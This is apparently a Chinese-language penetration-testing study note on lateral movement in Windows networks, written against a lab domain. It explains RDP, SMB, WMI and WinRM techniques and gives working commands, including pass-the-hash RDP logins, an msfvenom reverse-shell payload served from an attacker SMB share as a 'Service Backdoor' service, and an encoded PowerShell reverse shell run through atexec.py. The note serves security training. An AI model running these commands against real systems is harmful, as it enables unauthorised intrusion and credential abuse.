简介

横向移动是指在获得初始访问权限后,我们在网络中移动所使用的技术。通过了解横向移动,攻击者和防御者可以更好地导航和保护网络。这些知识使防御者能够实施更有效的安全措施,并帮助攻击者识别和利用网络防御中的弱点,最终实现更强大、更有韧性的安全态势。

横向移动涉及在网络内从一个系统移动到另一个系统,通常其目标是提升权限或访问敏感数据。利用横向移动技术,我们可以深入网络,寻找凭据、敏感数据和其他高价值资产。

为了进行横向移动,我们需要任何形式 的凭据,包括密码、哈希、票据、SSH密钥和会话Cookie。我们可以利用这些凭证连接到远程计算机中,有效的横向移动需要对网络架构有深入的理解,并识别可用于在远程系统上执行代码的服务和协议

MITRE ATT&CK 框架

该 MITRE ATT&CK 框架 将横向移动定义为用于进入和控制网络上远程系统的技术。这通常涉及探索网络、在多个系统和账户之间进行跳板攻击,以及使用远程访问工具或配合原生工具使用合法凭据。

技术介绍

MITRE ATT&CK列出了几种横向移动技术,包括:

技术ID Name 描述
T1021 远程服务 利用 RDP、SMB 和 SSH 等合法的远程服务在网络中移动。
T1021.001 远程桌面协议(RDP) 使用 RDP 与远程系统的桌面进行交互。
T1021.002 SMB/Windows 管理员共享 利用 SMB 共享访问文件并执行命令。
T1021.003 分布式组件对象模型 使用 DCOM 与远程系统上的软件组件进行交互。
T1021.004 SSH 利用 SSH 安全地连接并控制远程系统。
T1021.005 VNC 使用 VNC 远程控制系统。
T1077 Windows 管理共享 利用管理共享进行横向移动。
T1080 污染共享内容 修改共享内容以执行恶意代码。
T1105 入口工具传输 将工具或文件传输到远程系统以供执行。
T1210 利用远程服务 利用远程服务中的漏洞以获取访问权限。
T1550 使用备用身份验证凭据 使用窃取的令牌、密钥或证书进行身份验证。
T1563 远程服务会话劫持 劫持合法的远程服务会话。
T1563.001 SSH 劫持 劫持 SSH 会话。
T1569 系统服务 利用系统服务执行命令或进行横向移动。
T1569.001 Launchctl 使用 launchctl 命令管理 macOS 上的启动服务。
T1569.002 服务执行 使用系统服务执行命令或脚本。
T1570 横向工具传输 在网络内部将工具从一个系统移动到另一个系统。

这些技术说明了我们可以用来网络中导航和控制远程系统的各种方法

直接横向移动

直接横向移动是指我们可以在目标机器上直接执行命令,并强制目标机器连接回我们。
image.png

间接横向移动

涉及在目标系统接受来自另一系统的指令时,在其上执行命令。
image.png

远程服务简介

远程服务是企业和IT部门必不可少的工具,能够实现系统的远程访问与管理,促进协作并提高效率。这些服务允许管理员在无需物理接触的情况下对系统进行管理和故障排除,这在分布式和大规模环境中尤为重要

类型

  • Remote Desktop Protocol (RDP)RDP 是由微软开发的一种专有协议,为用户提供图形界面,以便通过网络连接到另一台计算机。它被广泛用于远程管理和技术支持。
  • SMB / Windows Shares服务器消息块(SMB) 是一种网络文件共享协议,允许应用程序和用户对文件进行读写,并向网络中的服务器程序请求服务。Windows 共享使用 SMB 来实现机器之间的文件和打印机共享。
  • Windows Management Instrumentation (WMI)WMI 是微软的一套规范,用于统一管理 Windows 计算系统网络中的设备和应用程序。它为远程管理和数据采集提供了强大的功能。
  • Windows Remote Management (WinRM)WinRM 是 Microsoft 对 WS-Management 协议的实现,它提供了一种使用 Web 服务与本地和远程计算机进行通信的安全方式。它通常用于远程管理任务。
  • Distributed Component Object Model (DCOM)DCOM 是一项 Microsoft 技术,允许软件组件通过网络直接进行通信。它扩展了组件对象模型(COM),以支持不同计算机上的对象之间的通信。
  • Secure Shell (SSH)SSH 是一种加密网络协议,用于在不安全网络上安全地运行网络服务。它被广泛用于远程命令行登录和远程命令执行。

枚举方法

为了利用这些远程服务,我们首先需要在网络中识别它们。枚举涉及发现可用服务并收集有关它们的信息。常见的枚举方法包括:

  • Port scanning:识别开放端口及其运行的服务。
  • Service banners:捕获并分析服务横幅,以收集版本和配置信息。
  • Active Directory:查询 Active Directory 以检索有关系统及其服务的信息。

利用已获取的凭据,我们可以对这些服务进行身份验证并尝试横向移动。我们可能使用的不同类型的凭据包括:

  • Passwords:传统的身份验证形式,用户提供一个秘密单词或短语来验证其身份。
  • NTLM Hashes:Windows 环境中用于身份验证的密码加密表示形式。我们可以通过名为“哈希传递(Pass the Hash)”的技术,使用这些哈希值进行身份验证,而无需实际密码。
  • NTLMv2 Hashes:NTLM 哈希的改进版本,提供了更好的安全性。这些哈希也用于 Windows 环境中的身份验证。我们可以利用 NTLM 重放攻击(NTLM Relay attacks)在网络中滥用这些哈希进行横向移动。
  • AES256 Keys:高级加密标准(AES),使用 256 位密钥进行数据加密。在某些情况下,这些密钥可用于在 Windows 系统上通过 Rubeus 或 Mimikatz 进行身份验证。
  • Tickets (Kerberos):Kerberos 是一种身份验证协议,它使用票据允许节点安全地证明其身份。我们可以伪造或捕获票据,并利用它们进行身份验证,从而在网络内进行横向移动。

远程桌面服务(RDP)

是微软开发的一种专有协议,为用户提供图形化界面,以便通过网络连接至另一台计算机

权限

连接RDP所需的权限取决于具体配置;默认情况下,只有Administrators或远程连接用户组的成员可以通过RDP连接。此外,管理员可以通过RDP连接。此外,管理员可以授予特定用户或者组连接RDP的权限。由于这些权限是在本地设置的,枚举它们的唯一方法是我们拥有目标计算机的权限

RDP枚举

要利用RDP进行横向移动,我们需要了解正在测试的环境是否存在RDP,weighing可以使用nmap或者任何其他网络枚举工具来搜索3389端口

1
netexec rdp <IP> -u <用户名> -P '<密码>' -d 域名

针对低延迟网络或代理连接优化 xfreerdp

如果您通过代理或在网络连接较慢的情况下使用 xfreerdp,我们可以通过使用以下附加选项来提高会话速度:

1
2
3
xfreerdp /u:Helen /p:'RedRiot88' /d:inlanefreight.local /v:10.129.229.244
/dynamic-resolution /drive:.,linux /bpp:8 /compression -themes -wallpaper
/clipboard /audio-mode:0 /auto-reconnect -glyph-cache

在该命令中:

  • /bpp:8:将色深降低至每像素 8 位,从而减少传输的数据量。
  • /compression:启用压缩以减少通过网络发送的数据量。
  • -themes:禁用桌面主题以减少图形数据。
  • -wallpaper:禁用桌面壁纸以进一步减少图形数据。
  • /clipboard:启用本地计算机与远程计算机之间的剪贴板共享。
  • /audio-mode:0:禁用音频重定向以节省带宽。
  • /auto-reconnect:如果连接中断则自动重新连接,从而提高会话稳定性。
  • -glyph-cache:启用字形(文本字符)缓存,以减少文本渲染时发送的数据量。

受限管理模式

远程登录目标主机时,不把明文密码、可复用凭据、Kerberos TGT 等凭据缓存到目标机器的 LSASS 中。

它主要是为了防止管理员登录到一台已经被攻陷的机器后,自己的凭据被攻击者从 LSASS 中抓取。

普通 RDP 登录时,目标机通常会获得可用于创建登录会话的凭据材料,因此如果目标机已经被控,管理员凭据可能被抓取。

受限管理模式下,RDP 不会把完整凭据交给远程主机,因此目标机上通常不会留下明文密码、可复用凭据或 Kerberos TGT。


普通 RDP 与受限管理模式 RDP

1
普通 RDP:    通常需要明文密码登录。受限管理模式 RDP:    可以利用 NTLM Hash 或 Kerberos 票据完成认证,    不把完整凭据交给目标机。

常见利用方式:

1
xfreerdp /v:10.10.10.23 /u:administrator /d:corp.local /pth:<NTLM_HASH> /restricted-admin /cert:ignore

或者使用 Kerberos 票据:

1
export KRB5CCNAME=/tmp/admin.ccachexfreerdp /v:ws01.corp.local /u:administrator /d:corp.local /restricted-admin /cert:ignore

如何查看目标机是否开启受限管理模式?

注册表

最准确的方法是查注册表:

1
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin

判断:

1
DisableRestrictedAdmin = 0    开启受限管理模式DisableRestrictedAdmin = 1    禁用受限管理模式没有该值    通常按未显式开启处理

PowerShell 写法:

1
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin

远程验证

1
2
3
4
5
6
成功:
说明目标大概率开启了受限管理模式,并且该账户有 RDP 权限。

失败:
不能直接说明没开受限管理模式。
还需要排查账号权限、hash 是否正确、RDP 是否开放、防火墙、NLA、域名解析等问题。

针对低延迟网络或代理连接优化 xfreerdp

如果您通过代理或在网络连接较慢的情况下使用 xfreerdp,我们可以通过使用以下附加选项来提高会话速度:

1
xfreerdp /u:Helen /p:'RedRiot88' /d:inlanefreight.local /v:10.129.229.244/dynamic-resolution /drive:.,linux /bpp:8 /compression -themes -wallpaper/clipboard /audio-mode:0 /auto-reconnect -glyph-cache

在该命令中:

  • /bpp:8:将色深降低至每像素 8 位,从而减少传输的数据量。
  • /compression:启用压缩以减少通过网络发送的数据量。
  • -themes:禁用桌面主题以减少图形数据。
  • -wallpaper:禁用桌面壁纸以进一步减少图形数据。
  • /clipboard:启用本地计算机与远程计算机之间的剪贴板共享。
  • /audio-mode:0:禁用音频重定向以节省带宽。
  • /auto-reconnect:如果连接中断则自动重新连接,从而提高会话稳定性。
  • -glyph-cache:启用字形(文本字符)缓存,以减少文本渲染时发送的数据量。

使用这些选项有助于优化 RDP 会话的性能,确保即使在不理想的网络条件下也能获得更流畅的体验。

SMB

smb是一种网络通信协议,旨在促进网络内计算机之间共享文件、打印机和其他资源

权限

为了成功进行smb横向移动,我们需要一个属于目标计算机管理组的账户。

UAC远程限制

UAC 可能会阻止我们实现远程代码执行,但了解这些限制对于在应对不同版本 Windows 上的 UAC 限制时有效利用这些工具至关重要。这些限制意味着几个关键点:

  • 需要本地管理员权限。
  • 非 RID 500 的本地管理员账户无法在以下系统上运行诸如 PsExec 之类的工具:Windows Vista 及更高版本。
  • 在机器上拥有管理员权限的域用户可以执行诸如 PsExec 之类的工具。
  • RID 500 本地管理员账户可以在机器上利用诸如 PsExec 之类的工具。

SMB 命名管道

SMB 中的命名管道通过 TCP 445 端口的 IPC$ 共享进行访问,对于网络内的横向移动至关重要。它们支持从 NULL 会话上下文到需要本地管理员权限的一系列操作。例如,svcctl 为远程操作提供了便利。

服务的创建、启动和停止以及执行命令,正如在 Impacket 的 psexec.pysmbexec.py 等工具中所见。

atsvc 支持远程创建用于执行命令的计划任务,被 Impacket 的 atexec.py 所利用。这些命名管道对于有效执行和管理横向移动操作至关重要。

winreg 提供对 Windows 注册表的远程访问,允许查询和修改注册表键值,有助于恶意负载的持久化和配置。

枚举

我们需要对目标主机进行端口扫描,已验证SMB是否在目标上运行

Windows进行横向移动

PsExec

PsExec 包含在微软的 Sysinternals 套件 中,该套件是专为协助管理员执行系统管理任务而设计的一系列工具。此工具通过使用 SMB 协议的命名管道 来促进远程命令执行并检索输出,运行在 TCP 端口 445TCP 端口 139 上。

默认情况下,PSExec 执行以下操作:

  1. 通过 SMB 建立到隐藏 ADMIN$ 共享的链接,该共享对应于远程系统上的 C:\Windows 目录。
  2. 使用服务控制管理器 SCM 启动 PsExecsvc 服务,并在远程系统上建立命名管道。
  3. 通过创建的命名管道重定向控制台的输入和输出,以执行交互式命令。

注意:PsExec 消除了双跳问题,因为凭据随命令一起传递,并生成交互式登录会话(类型 2)。

我们可以使用 PsExec 连接到远程主机并以交互方式执行命令。我们必须指定要连接的计算机或目标 \\SRV02、用于交互式 shell 的选项 -i、使用选项 -u <user> 指定的管理员登录凭据和密码 -p <password>,以及用于指定要执行的应用程序的 cmd

1
.\PsExec.exe \\SRV02 -i -u INLANEFREIGHT\helen -p RedRiot88 cmd

SharpNoPSExec

SharpNoPSExec 是一个 C# 编写的无文件横向移动/远程命令执行工具。

执行逻辑:

1. 连接目标机器的服务控制管理器 SCM。
2. 查询目标机器上的服务。
3. 选择一个已停止、手动/禁用启动、LocalSystem 权限的服务。
4. 保存该服务原始配置。
5. 将服务 binPath 临时修改为攻击者指定的 payload。
6. 启动服务,使 payload 在目标机器上执行。
7. 执行后恢复服务原配置。

本质:
SCM 服务滥用 + 远程命令执行 + 横向移动

特点:
不像 PsExec 那样创建新的 PSEXESVC 服务。
不需要上传服务二进制文件到目标磁盘。
适合执行一条命令或触发反连 payload。

如果 payload 是普通命令:
它就是远程命令执行工具。

如果 payload 是 reverse shell:
它就表现为反弹 shell 工具。

1
.\SharpNoPSExec.exe --target=172.20.0.52 --payload="c:\windows\system32\cmd.exe /c powershell -exec bypass -nop -e <base64>"

NimExec

Linux进行横向移动

Psexec.py

Psexec.py 是 Linux 用户的一个绝佳替代方案。这种方法与 SysInternals 套件中传统的 PsExec 工具非常相似。

它通过将一个随机名称的可执行文件上传到目标 Windows 机器上的 ADMIN$ 共享来创建一个远程服务。然后,它通过 RPCWindows 服务控制管理器 注册该服务。一旦注册成功,该工具就会通过命名管道建立通信,从而允许在远程系统上执行命令并检索输出。理解这一机制对于有效利用该工具并认识其在促进远程命令执行中的作用至关重要。

我们可以使用 psexec.py 在目标主机上实现远程代码执行,这需要管理员登录凭据。我们必须提供域名、管理员级用户、密码以及目标 IP,类似于:

1
proxychains4 -q psexec.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52

smbexec.py

使用 smbexec.py 方法可以利用 Windows 内置的 SMB 功能在远程系统上运行任意命令,而无需上传文件,这使其成为一种更隐蔽的替代方案。

通信完全通过 TCP 端口 445 进行。它还会建立一个服务,且仅为此使用 MSRPC,并通过 svcctl SMB 管道管理该服务。

要使用此工具,我们必须提供域名、管理员用户、密码以及目标 IP 地址:

1
<domain>/<user>:<password>@<ip>
1
proxychains4 -q smbexec.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52

services.py

Impacket 中的 services.py 脚本通过 MSRPC 接口与 Windows 服务进行交互。它支持启动、停止、删除、读取状态、配置、列举、创建和修改服务。

在红队任务期间,通过获取目标机器服务的访问权限,可以大大简化许多任务。此技术是非交互式的,这意味着我们无法实时查看操作结果。


查看目标主机服务列表

在提供域名、管理员账号、密码和目标 IP 地址后,我们可以通过输入命令 list 来查看目标主机中的服务列表。

格式:

1
<domain>/<user>:<password>@<ip>

示例:

1
proxychains4 -q services.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52list

使用 services.py 进行横向移动

要使用此工具进行横向移动,我们可以:

  1. 建立一个新服务
  2. 修改现有服务
  3. 定义自定义命令以获取反向 Shell

创建新服务时,不再使用 list,而是使用 create,并指定以下参数:

1
2
3
-name <serviceName>      指定服务名称
-display <displayName> 指定显示名称
-path <command/path> 指定要执行的命令或程序路径

生成Payload

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.207 LPORT=9001 -f exe-service -o rshell-9001s.exe

创建新服务

先启动smb共享

1
sudo smbserver.py share -smb2support ./

现在可以执行命令来创建一个新服务:

1
proxychains4 -q services.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 create -name 'Service Backdoor' -display 'Service Backdoor' -path "\\\\10.10.14.207\\share\\rshell-9001.exe"

含义:
create
创建服务。
-name ‘Service Backdoor’
指定服务名称。
-display ‘Service Backdoor’
指定服务显示名称。
-path “\\10.10.14.207\share\rshell-9001.exe”
指定服务启动时要执行的程序路径。

atexec.py

atexec.py 是 Impacket 中用于远程命令执行的脚本。它利用 Windows 的任务计划程序服务,该服务可以通过 atsvc SMB 命名管道访问。

它的核心作用是:

1
2
3
4
5
远程向目标主机添加计划任务        

让计划任务在指定时间执行命令

通过 SMB 取回命令输出

工作原理

atexec.py 会通过 SMB/RPC 与目标主机的任务计划程序交互,在远程主机上创建一个计划任务,使该任务在指定时间执行命令。

命令输出会被写入到目标主机上的一个文件中,随后通过 ADMIN$ 共享读取回来。

因此,使用该工具时有一个重要要求:攻击机和目标 PC 的时间需要同步到同一分钟。

如果时间差太大,计划任务可能不会按预期执行。


基本要求

使用 atexec.py 通常需要:

  1. 目标开放 SMB,通常是 TCP 445。
  2. 拥有目标主机的管理员权限。
  3. 提供域名、管理员用户、密码和目标 IP。
  4. 攻击机与目标机时间尽量保持同步。

认证格式:

1
<domain>/<user>:<password>@<ip>

启动监听器

在攻击机上先启动一个监听器,用于接收反向 Shell:

1
nc -lnvp 8080

输出示例:

1
Listening on 0.0.0.0 8080

使用 atexec.py 执行反向 Shell 载荷

示例命令:

1
proxychains4 -q atexec.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 "powershell -e ...SNIP...AbwBzAGUAKAApAA=="

参数说明:

1
2
3
4
proxychains4 -q    通过代理链执行命令,并静默输出 proxychains 信息。
atexec.py 使用 Impacket 的 atexec 模块。
INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 使用 INLANEFREIGHT 域中的 helen 用户连接目标 172.20.0.52。
"powershell -e ..." 在目标主机上通过 PowerShell 执行 Base64 编码后的命令。

其中:

1
-e

是 PowerShell 的 -EncodedCommand 缩写,表示后面跟的是 Base64 编码后的 PowerShell 命令。


成功获取反向 Shell

当目标主机执行载荷后,攻击机监听器会收到连接:

1
2
3
nc -lnvp 8080Listening on 0.0.0.0 8080```

说明已经成功在攻击机上建立了来自目标主机的反向 Shell。

WMI

WMI是一项强大的Windows功能,提供了一种标准化的方式来与系统管理信息进行交互,并在网络环境中管理设备与应用设备

主要通过135端口进行出示连接,并使用49152-65536范围内动态分配端口进行后续数据交换

权限

为了在网络中优先利用WMI来进行横向移动,在目标系统上拥有必要的权限至关重要。通常需要管理员权限,但是,经过特定配置允许,是可以通过较低权限访问的

枚举

在使用WMI进行横向移动之前,确定哪些系统已启动并且可以访问WMI是至关重要的。

对于WMI测试凭据,我们可以使用Netexec

1
netexec wmi <IP> -u <用户> -p <密码>

默认情况下只用管理员才能使用WMI远程执行操作

Windows横向移动

wmic

在windows上,我们可以使用wmic和powershell与wmi进行交互。wmi是一种命令行界面,允许管理员查询和管理Windows操作系统

Linux横向移动

wmiexec

1
wmiexec.py <domain>/<user>:<password>@<target-ip> <command>

NetExec

我们也可以使用NetExec来运行WMI查询

1
proxychains netexec wmi <ip> -u <user> -p <password> --wmi "<查询语句>"

也可以执行命令

1
proxychain netexec wmi <ip> -u <user> -p <password> -x <command>

WinRM

Windows 远程管理(WinRM) 是微软版本的 WS-Management(Web Services-Management) 协议,这是一种用于远程管理软件和硬件的标准协议。WinRM 促进了计算机之间管理数据的传输,使管理员能够执行各种任务,例如运行脚本和从远程系统检索事件数据。

WinRM 通常与 PowerShell 结合使用,用于自动化和管理目的,使其成为管理 Windows 环境不可或缺的工具。它提供了一种安全且高效的方法与远程系统进行交互,利用成熟的网络标准来确保兼容性和灵活性。WinRM 通信主要使用 TCP 端口 5985(HTTP)5986(HTTPS)

在横向移动的语境下,作为渗透测试人员,我们利用微软为远程管理构建的固有机制。我们无需发明新方法,而是可以滥用这些原生功能来执行任意命令或获取对其他系统的访问权限。这种方法与管理员合法管理远程计算机的方式是一致的。

WinRm权限

要利用 WinRM 进行横向移动,目标系统上需要特定的权限。虽然通常需要管理员权限,但也可以授予非管理员账户使用 WinRM 所需的权限。

默认情况下,Remote Management Users 组的成员拥有必要的访问权限。此外,某些配置和策略也可以向其他用户授予 WinRM 访问权限。


识别拥有 WinRM 使用权限的用户涉及检查组策略、组成员身份以及测试凭据:

  • Remote Management Users Group:该组的成员天生拥有使用 WinRM 所需的权限。
  • Group Policies:审查可能向特定用户授予 WinRM 访问权限的组策略。
  • Testing Credentials:测试各种凭据是否可以通过 WinRM 成功连接,使用不同的工具来验证其有效性和访问权限。
  • Active Directory(AD):我们可以使用 BloodHound 或 LDAP 查询等工具来查找具有 WinRM 权限的用户。

WinRM 枚举

在使用 WinRM 进行横向移动之前,必须确定哪些系统已启用并可访问 WinRM。可以使用各种工具和脚本进行枚举以识别目标。

我们可以使用nmap来查看是否有winRm端口

Windows横向移动

首先先查询自身的凭证

1
Invoke-Command -computername <计算机名> -Scriptblock{ hostname;whoami }

WinRS

winrs(Windows Remote Shell) 是一个命令行工具,允许通过 WinRM 远程在 Windows 机器上执行命令。

以下是使用 winrs 在远程服务器上执行命令的示例:

1
winrs -r:srv02 "powershell -c whoami;hostname"

使用显式凭据执行命令

winrs 还允许通过 /username/password 选项使用显式凭据:

1
winrs /remote:srv02 /username:helen /password:RedRiot88 "powershell -c whoami;hostname"

输出示例:

1
2
inlanefreight\helen
SRV02

复制文件

PowerShell 提供了在系统之间复制文件的功能,这在横向移动过程中很有用。

实现方式之一是通过 WinRM 使用 PowerShell 远程会话。这种方法允许在远程系统之间进行安全且高效的文件传输。

创建远程 PowerShell 会话

要使用 PowerShell 会话复制文件,首先需要与目标机器建立远程会话。可以使用 New-PSSession cmdlet。

示例:创建一个变量,并将其命名为 $sessionSRV02

1
$sessionSRV02 = New-PSSession -ComputerName SRV02 -Credential $credential

从本机复制文件到远程主机

建立会话后,可以使用 Copy-Item cmdlet 将文件复制到目标机器。

要将当前机器 SRV01 中的文件复制到目标机器 SRV02,可以使用:

1
Copy-Item -ToSession $sessionSRV02 -Path 'C:\Users\helen\Desktop\Sample.txt' -Destination 'C:\Users\helen\Desktop\Sample.txt' -Verbose
从远程主机复制文件到本地
1
Copy-Item -FromSession $sessionSRV02 -Path 'C:\Users\helen\Desktop\Sample.txt' -Destination 'C:\Users\helen\Desktop\Sample.txt' -Verbose

交互式Shell

我们可以使用 Enter-PSSession cmdlet 通过 PowerShell 远程管理来获取交互式 shell。

该 cmdlet 允许我们启动与远程计算机的交互式会话,无论是通过使用 New-PSSession 创建的会话、指定明确的凭据,还是利用执行命令的当前会话。

例如,让我们重用之前创建的变量。指定 Enter-PSSession 和该变量将为我们提供远程计算机上的交互式 PowerShell 提示符,使我们能够像直接登录一样执行命令。

1
Enter-PSSession $sessionSRV02

Linux横向移动

NetExec

我们可以使用-x或者-X来执行命令

1
netexec winrm <ip> -u <user> -p <password> -x '<command>'

Evil-WinRM

这是一款基于Ruby的工具。
安装完成以后,可以远程连接机器并执行命令

1
evil-winrm -i <ip> -u '<domain\username>' -p <password>

可以使用menu来看有哪些能力

导入脚本

Evil-Winrm允许我们加载PS脚本

1
evil-winrm -i <IP> -u '<domain>\<username>' -p <password> -s '/home/plaintext'

在伤处命令中,我们建立了一个会话并调用powerview.ps1,因为其位于/home/plaintext中